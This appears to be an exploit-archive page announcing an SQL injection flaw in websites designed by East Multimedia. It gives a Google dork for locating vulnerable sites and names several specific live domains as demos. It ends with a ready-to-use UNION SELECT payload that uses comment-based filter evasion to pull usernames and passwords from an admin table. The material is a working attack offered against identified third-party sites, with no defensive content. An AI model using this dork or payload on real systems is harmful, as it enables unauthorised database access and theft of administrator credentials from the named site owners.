Design by East Multimedia SQL Injection Vulnerability

2018.06.23
ir Iran Cyber Security Group (IR) ir
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: "Design by East Multimedia" inurl:/.php?id=

# Exploit Title : Design by East Multimedia SQL Injection Vulnerability # Date : 2018-06-22 # Exploit Author : Iran Cyber Security Group # Vendor Homepage : www.eastmultimediame.com # Google Dork : "Design by East Multimedia" inurl:/.php?id= # category : webapps # Tested on : Win7 , Kali Linux Proof of Concept : search google Dork : "Design by East Multimedia" inurl:/.php?id= Demo : http://www.silversword.ae/products.php?id=22' [Sql injection Vulnerability] http://epidubai.com/product_page.php?cid=3' [Sql injection Vulnerability] http://www.telnettechnology.com/projects.php?id=250' [Sql injection Vulnerability] http://www.jas.ae/contents.php?$cid=4' [Sql injection Vulnerability] http://www.silversword.ae/products.php?id=-22%27+/*!50000union*/+/*!50000select*/+1,/*!50000group_concat(username,0x3a,password)*/+/*!50000from*/+admin--+ # Discovered by : Mr_null


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top